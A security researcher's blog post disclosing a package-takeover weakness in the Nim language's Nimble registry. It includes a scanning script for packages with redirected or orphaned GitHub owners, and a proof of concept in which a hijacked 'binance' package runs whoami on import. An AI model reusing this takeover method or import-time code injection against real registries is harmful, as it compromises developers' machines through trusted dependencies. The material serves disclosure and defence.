Supply Chain Security: Hacking Nimble Packages
In the world of software development, package managers are critical for managing dependencies and streamlining the development process. However, these tools are not immune to vulnerabilities. Today, we’ll delve into a fascinating case study of how I exploited a weakness in the Nimble package manager to take over packages and potentially compromise systems. Buckle up; this is going to be a technical ride.
What is Nimble?
Nimble is a package manager for the Nim programming language, providing an easy way to handle libraries and dependencies. It offers a platform called `nimble.directory` where developers can publish their packages, making it easier for others to use and integrate these libraries into their projects.
The Vulnerability: URL Redirections and Nonexistent Usernames
My exploration into Nimble’s ecosystem revealed two critical vulnerabilities:
- URL Redirections: When a package’s GitHub URL is redirected, it’s possible to take over the previous URL before the redirection occurs. This can allow an attacker to seize control of a package if the original URL is no longer valid.
- Nonexistent Usernames: If a GitHub username associated with a Nimble package doesn’t exist, it can be leveraged to claim ownership of the package.
How I Discovered and Exploited These Vulnerabilities
I started by creating a script to analyze all the packages available on nimble.directory. Out of 2,393 packages, 139 were found to be vulnerable. The script scanned for:
- Packages with redirected GitHub URLs
- Packages associated with non-existent GitHub usernames
Script Highlights
import requests
def check_redirected_url(package_url):
try:
response = requests.head(package_url, allow_redirects=True)
if response.history:
return response.history[-1].url
except requests.RequestException as e:
print(f"Error checking URL {package_url}: {e}")
return None
def check_username_existence(username):
try:
response = requests.get(f'https://github.com/{username}')
return response.status_code != 404
except requests.RequestException as e:
print(f"Error checking username {username}: {e}")
return False
for package in all_packages:
redirected_url = check_redirected_url(package.github_url)
if redirected_url:
print(f"Redirected URL found: {redirected_url}")
username = package.username
if not check_username_existence(username):
print(f"Username {username} does not exist. Possible takeover.") # Additional logic to exploit the nonexistent username
Case Study: Taking Over the “binance” Package
One of the packages I took over was “binance,” previously hosted at https://github.com/Imperator26/binance. By exploiting the redirection vulnerability, I was able to seize control of the package repository and replace it with a malicious version.
The Malicious Payload
The new version of the package included a script that executed the whoami command on any system that imported it.
import osproc
proc runCommand(cmd: string) =
let result = execProcess(cmd)
echo result
runCommand("whoami")
Here’s what happens when a victim imports the package:
import binance
echo "binance package imported successfully!"
When run, it outputs:
➜ nim ./test
yunus.aydin
binance package imported successfully!
The whoami command reveals the current user, demonstrating that the malicious package successfully executed code on the target machine.
The Impact
This vulnerability highlights significant risks associated with package managers and how easily they can be exploited if proper checks are not in place. The ability to hijack packages and inject malicious code poses a severe threat to developers and their systems.
The Numbers
- Total Packages Analyzed: 2,393
- Vulnerable Packages: 139
Conclusion
This investigation underscores the importance of security in package management. It is crucial for package managers and developers to implement rigorous security measures to prevent such vulnerabilities. Regular audits, secure URL handling, and validation of user credentials are essential steps toward safeguarding the software supply chain.
Contact
LinkedIn: https://linkedin.com/in/aydinnyunus
Twitter: https://twitter.com/aydinnyunuss
Github: https://github.com/aydinnyunus